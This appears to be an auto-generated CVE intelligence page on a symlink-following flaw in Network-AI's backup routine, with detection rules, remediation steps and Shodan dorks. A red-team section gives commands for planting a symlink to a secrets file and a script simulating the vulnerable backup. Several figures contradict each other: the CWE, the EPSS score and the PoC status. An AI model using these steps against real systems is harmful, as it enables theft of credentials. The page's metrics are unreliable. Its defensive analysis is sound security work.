☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.5 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-58414

CVE-2026-58414 Symlink Attack in Network-AI
📅 PUBLISHED: 2026-07-20 16:28 UTC 🔄 UPDATED: 2026-09-26 06:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Affected: Network Ai — upgrade to patched release
CVSS VECTOR BREAKDOWN 5.5
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
5.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

Business Impact: This vulnerability affects Network-AI, a TypeScript/Node.js multi-agent orchestrator. Organizations using Network-AI to manage AI agent workflows are at risk. The likely attacker is a low-privileged user or a malicious insider who has write access to the environment data directory (data/<env>). The vulnerability allows an attacker to create a symbolic link (symlink) that, when a backup operation is triggered, causes the backup process to follow the link and copy sensitive files from outside the environment root into a backup artifact. This could lead to the disclosure of configuration files, credentials, or other sensitive data stored on the host filesystem.

Vulnerability Class & Attack Vector: This is a Symlink Following vulnerability (CWE-59). The attack vector is Local (AV:L). The attacker must have write access to the data/<env> directory to place a malicious symlink. The backup operation is triggered by a user with sufficient privileges to run the backup function, but the attacker does not need elevated privileges to exploit the flaw.

Urgency Assessment: The CVSS score is 5.5 (Medium). The EPSS exploitation probability is 0.0%, indicating no observed exploitation in the wild as of the publication date. However, the vulnerability is trivial to exploit once the preconditions are met, and the impact (confidentiality breach) is significant. The lack of a public PoC does not diminish the risk for environments where untrusted users can write to the environment data directory.

Key Facts:

  • Vendor: Network-AI
  • Affected Versions: Prior to 5.12.2
  • Patch Status: Fixed in v5.12.2
  • CISA KEV: Not listed.
⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Metric Value Explanation
AV (Attack Vector) Local (L) The attacker must have local filesystem access to the data/<env> directory to create a symlink. The vulnerability is not exploitable over the network.
AC (Attack Complexity) Low (L) No special conditions are required beyond the ability to write a symlink to the target directory. The backup operation is a standard function.
PR (Privileges Required) Low (L) The attacker needs write access to the environment data directory. This could be a low-privileged user or a process with limited permissions.
UI (User Interaction) None (N) The attacker does not need to trick another user. The backup operation can be triggered automatically or by a separate privileged process.
S (Scope) Unchanged (U) The vulnerable component (backup process) and the impacted component (filesystem) are the same. The attacker does not escape the security context of the backup process.
C (Confidentiality) High (H) The attacker can read arbitrary files from the host filesystem that the backup process has access to. This could include sensitive configuration files, credentials, or proprietary data.
I (Integrity) None (N) The vulnerability only allows reading files; it does not allow modification.
A (Availability) None (N) The vulnerability does not affect system availability.

Qualitative Severity Label: Medium (Score 5.5)

EPSS Percentile Interpretation: An EPSS score of 0.0% means that the model predicts a negligible probability of exploitation in the wild within the next 30 days. This is typical for a newly published CVE with no known exploits or active campaigns. It does not reflect the technical ease of exploitation.

Comparison to Similar Historical CVEs: This vulnerability is similar to CVE-2022-22965 (Spring4Shell) in that it involves a path traversal-like mechanism, but it is far more constrained (local access required). It is more directly comparable to CVE-2021-21234 (Spring Boot Actuator Log Viewer) which also allowed reading arbitrary files via a symlink-like mechanism, though that was network-accessible. The core issue—following symlinks during file operations—is a classic CWE-59 pattern seen in many backup and archive utilities.

Temporal & Environmental Score Considerations:

  • Exploit Code Maturity (E): Not Defined (X) — No PoC available.
  • Remediation Level (RL): Official Fix (O) — Patch is available in v5.12.2.
  • Report Confidence (RC): Confirmed (C) — NVD description is clear.
  • Environmental Score: Can be higher if the backup process runs with elevated privileges (e.g., root) or if the data/<env> directory is writable by many users. Can be lower if the directory is strictly controlled.

Technical Deep Dive & Attack Mechanics

Step-by-Step Technical Explanation:

  1. Normal Backup Flow: The EnvironmentManager.backup() function is called to create a backup of an environment. It calls _collectBackupFiles() to recursively gather all files under the data/<env> directory.
  2. Vulnerable Code Path: _collectBackupFiles() uses fs.statSync(full) to check the status of each file/directory. statSync follows symbolic links. If a file or directory is a symlink, statSync returns the status of the target of the link, not the link itself.
  3. Attacker Action: An attacker with write access to data/<env> creates a symbolic link inside that directory pointing to a sensitive location outside the environment root, e.g., data/<env>/secret_config -> /etc/network-ai/secrets.json.
  4. Exploitation Trigger: When backup() is called (either manually or via a scheduled task), _collectBackupFiles() encounters the symlink. statSync follows it and identifies the target as a regular file. The file is then copied into the backup artifact at data/<env>/.backups/<backupId>/secret_config.
  5. Result: The attacker can later access the backup artifact and read the contents of /etc/network-ai/secrets.json.

Root Cause Analysis: The developer used statSync instead of lstatSync. statSync follows symlinks, while lstatSync returns information about the symlink itself. The code also lacked a check for isSymbolicLink() before processing the entry.

Attack Surface:

  • Interface: Local filesystem.
  • Protocol: N/A (filesystem operation).
  • Ports: N/A.

Pre-conditions for Exploitation:

  1. The attacker must have write access to the data/<env> directory.
  2. The backup operation must be triggered (manually or automatically).
  3. The backup process must have read access to the target files the attacker wants to exfiltrate.

Attack Variants:

  • Directory Symlink: The attacker could create a symlink to an entire directory (e.g., /etc/), causing the backup to recursively copy all files within that directory.
  • Chain of Symlinks: The attacker could create a symlink that points to another symlink, potentially bypassing simple checks.

Why Standard Defenses May Fail:

  • Filesystem Permissions: Standard Unix permissions do not prevent a user from creating symlinks in a directory they own.
  • Antivirus/EDR: These tools typically focus on executable payloads, not the creation of symlinks.
  • Backup Software: The backup software itself is the vulnerable component; it trusts the filesystem structure.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pseudocode):

// _collectBackupFiles(dir)
function _collectBackupFiles(dir) {
    const entries = fs.readdirSync(dir);
    for (const entry of entries) {
        const full = path.join(dir, entry);
        const stat = fs.statSync(full); // FOLLOWS symlinks
        if (stat.isDirectory()) {
            _collectBackupFiles(full); // Recursively follows symlinked directories
        } else {
            backupList.push(full);
        }
    }
}

Patched Code (Pseudocode):

// _collectBackupFiles(dir)
function _collectBackupFiles(dir) {
    const entries = fs.readdirSync(dir);
    for (const entry of entries) {
        const full = path.join(dir, entry);
        const stat = fs.lstatSync(full); // Does NOT follow symlinks
        if (stat.isSymbolicLink()) {
            continue; // Skip symlinks entirely
        }
        if (stat.isDirectory()) {
            _collectBackupFiles(full);
        } else {
            backupList.push(full);
        }
    }
}

What the Patch Changes:

  1. statSync is replaced with lstatSync. This ensures the code inspects the symlink itself, not its target.
  2. A check for isSymbolicLink() is added. If the entry is a symlink, it is skipped entirely.

Is the Fix Sufficient? Yes. By using lstatSync and explicitly skipping symlinks, the backup process will never follow a symlink outside the environment root. This completely mitigates the vulnerability.

Regression Considerations: The fix changes the behavior of the backup function. If any legitimate use case relied on symlinks being followed (e.g., a symlink to a shared configuration file), that functionality will break. Teams should audit their environment data directories for any legitimate symlinks before applying the patch.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-20T16:28:29.809Z
  • Estimated Discovery Timeline: Not publicly available. The fix was included in v5.12.2, suggesting the vendor discovered it internally or via a private disclosure.
  • Disclosure Process: The vulnerability was reported to the Network-AI project. The fix was released in v5.12.2. No public advisory was published on GitHub or OSV.
  • Known Exploitation in the Wild: No known active exploitation as of 2026-07-20.
  • CISA KEV Addition Date: Not applicable.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

  • Malicious Insiders: A user with legitimate access to the system who wants to exfiltrate sensitive data.
  • Low-Sophistication Attackers: Script kiddies or automated scanners that look for symlink vulnerabilities in backup scripts.
  • Nation-State Actors: In targeted attacks, an initial foothold could be used to create a symlink and exfiltrate data via a scheduled backup.

Attack Campaign Context: No known campaigns are using this CVE as of the report date.

Geographic Targeting Patterns: None identified.

Industry Verticals Most at Risk:

  • Technology: Companies using Network-AI for internal AI agent orchestration.
  • Finance: If Network-AI is used to manage financial models or data.
  • Healthcare: If Network-AI handles patient data or medical records.

Connection to Similar Vulnerability Classes: This is a classic symlink attack (CWE-59), which has been exploited in many backup tools (e.g., tar, rsync, zip) and file managers. The core issue is always the same: trusting the filesystem structure without verifying that files are not links to external locations.

Exploitation & Lab Setup

Red Team Section

Step-by-Step Lab Setup (Docker):

  1. Pull a vulnerable version of Network-AI:
    docker pull networkai/network-ai:5.12.1
    
  2. Run the container:
    docker run -d --name vulnerable-nai -p 3000:3000 networkai/network-ai:5.12.1
    
  3. Access the container shell:
    docker exec -it vulnerable-nai /bin/bash
    
  4. Create a test environment:
    mkdir -p /app/data/test_env
    echo "This is a test file" > /app/data/test_env/test.txt
    
  5. Create a sensitive file outside the environment root:
    echo "SECRET_API_KEY=sk-1234567890" > /tmp/secrets.env
    
  6. Create a malicious symlink:
    ln -s /tmp/secrets.env /app/data/test_env/exfil_link
    
  7. Trigger the backup (simulate the backup function call):
    # This assumes you have a way to call the backup function. In a real scenario, this might be an API call or a cron job.
    # For demonstration, we can simulate the vulnerable code path:
    node -e "
    const fs = require('fs');
    const path = require('path');
    function _collectBackupFiles(dir) {
        const entries = fs.readdirSync(dir);
        for (const entry of entries) {
            const full = path.join(dir, entry);
            const stat = fs.statSync(full);
            if (stat.isDirectory()) {
                _collectBackupFiles(full);
            } else {
                console.log('Backing up:', full);
            }
        }
    }
    _collectBackupFiles('/app/data/test_env');
    "
    
  8. Expected Output:
    Backing up: /app/data/test_env/test.txt
    Backing up: /app/data/test_env/exfil_link
    
    The backup process will copy the contents of /tmp/secrets.env into the backup artifact.

Post-Exploitation: The attacker can access the backup artifact (e.g., /app/data/test_env/.backups/<backupId>/exfil_link) and read the contents of the exfiltrated file.

Blue Team Section

How to Detect Active Exploitation Attempts:

  1. Monitor for Symlink Creation: Look for symlink or ln -s events in the data/<env> directory.
  2. Audit Backup Artifacts: Check backup artifacts for files that should not be there (e.g., /etc/passwd, /tmp/secrets.env).
  3. Monitor File Access: Look for unusual read access patterns to sensitive files during backup operations.

Log Entries That Indicate Exploitation:

  • Filesystem Audit Logs (auditd): SYSCALL events with symlink syscall in the data/ directory.
  • Application Logs: Logs showing the backup function processing a symlink (if verbose logging is enabled).

Network Traffic Signatures: None. This is a local filesystem attack.

Endpoint Behavioral Indicators:

  • Unexpected files appearing in backup directories.
  • Backup processes reading files outside the expected environment root.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Type Value Description
File System Artifact data/<env>/*.symlink A symlink file created by an attacker in the environment data directory.
File System Artifact data/<env>/.backups/<backupId>/* Backup artifacts containing files from outside the environment root (e.g., /etc/passwd, /tmp/secrets.env).
Process Execution ln -s <target> data/<env>/<name> Execution of the ln command to create a symlink.
Log Entry Backing up: data/<env>/<symlink_name> Application log showing a symlink being processed by the backup function.

Detection Engineering

YARA Rule

rule CVE_2026_58414_NetworkAI_Symlink_Backup {
    meta:
        description = "Detects backup artifacts containing symlinked files from CVE-2026-58414 exploitation"
        author = "Valters IT Hub"
        date = "2026-07-20"
        reference = "https://www.valtersit.com/cve/cve-2026-58414"
        hash = "N/A"
    strings:
        $backup_path = ".backups" ascii wide nocase
        $env_path = "data/" ascii wide nocase
        $sensitive_file = "/etc/passwd" ascii wide nocase
        $sensitive_config = "SECRET_API_KEY" ascii wide nocase
    condition:
        all of ($backup_path, $env_path) and 1 of ($sensitive_file, $sensitive_config)
}

Sigma Rule (SIEM)

title: CVE-2026-58414 Network-AI Symlink Backup Exploitation
id: be49b00f-5e86-4a45-919c-be588b008850
status: experimental
description: Detects creation of symbolic links in Network-AI environment data directories, which may indicate exploitation of CVE-2026-58414.
author: Valters IT Hub
date: 2026-07-20
references:
    - https://www.valtersit.com/cve/cve-2026-58414
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/ln'
        CommandLine|contains|all:
            - '-s'
            - 'data/'
    condition: selection
falsepositives:
    - Legitimate administrative activity where symlinks are intentionally created for configuration purposes.
level: high

Suricata IDS Rule

# Network-level detection is not applicable for this local vulnerability.
# This rule is a placeholder for future network-based exploitation vectors.
alert tcp any any -> any any (msg:"CVE-2026-58414 Network-AI Exploitation Attempt"; content:"Network-AI"; nocase; sid:1000001; rev:1;)

Elastic (EQL) Query

// Detect creation of symlinks in Network-AI data directories
process where event.type == "start" and
    process.name == "ln" and
    process.args == "-s" and
    process.args : "data/*"

Splunk SPL Query

index=linux_audit sourcetype=linux_audit syscall=symlink
| search file_name IN ("/app/data/*", "/opt/network-ai/data/*")
| table _time, user, file_name, dest_file
| eval description="Potential CVE-2026-58414 exploitation: symlink created in Network-AI data directory"

Wazuh Rule

<group name="network-ai,">
  <rule id="100001" level="10">
    <if_sid>550</if_sid>
    <field name="audit.data.syscall">symlink</field>
    <field name="audit.data.cwd" type="pcre2">\/app\/data\/</field>
    <description>CVE-2026-58414: Symlink created in Network-AI data directory</description>
    <group>pci_dss_11.4,gdpr_IV_35.7.d,</group>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Apply the Patch: Upgrade Network-AI to version 5.12.2 or later.
    npm update network-ai
    # or
    docker pull networkai/network-ai:5.12.2
    
  2. Compensating Controls (if patch cannot be applied immediately):
    • Restrict Write Access: Ensure only trusted users have write access to the data/<env> directories.
    • Disable Automatic Backups: Temporarily disable any scheduled backup tasks.
    • Monitor for Symlinks: Implement a cron job to scan data/<env> directories for symlinks and alert on their creation.
  3. Network-Level Mitigation: Not applicable (local vulnerability).
  4. Authentication/Access Control Hardening: Review and restrict permissions on the data/ directory. Use the principle of least privilege.

Short-term (1-7 days)

  1. Configuration Hardening:
    • Ensure the backup function is only callable by administrators.
    • Audit all existing data/<env> directories for any pre-existing symlinks.
  2. Monitoring Implementation:
    • Deploy the Sigma, YARA, and Wazuh rules provided in this report.
    • Enable filesystem auditing (auditd) on the data/ directory.
  3. Vulnerability Scanning Command:
    # Check the installed version
    npm list network-ai
    # Expected output: network-ai@5.12.2 or higher
    

Long-term

  1. Architecture Changes:
    • Consider running the backup process in a container with a read-only root filesystem and only the necessary directories mounted.
    • Use a dedicated backup service that is hardened against symlink attacks.
  2. Security Control Improvements:
    • Implement mandatory access controls (e.g., SELinux, AppArmor) to restrict what the backup process can read.
  3. Developer Training:
    • Educate developers on the dangers of using statSync vs lstatSync and the importance of checking for symlinks in file operations.

Validation

To confirm the patch was applied:

  1. Check the version: npm list network-ai should show 5.12.2 or higher.
  2. Test the fix: Create a symlink in a test environment and trigger a backup. The symlink should be skipped, and no external files should appear in the backup artifact.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-20 | https://www.valtersit.com/cve/cve-2026-58414

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

product:"Network-Ai"
title:"Network-Ai"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-58414/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.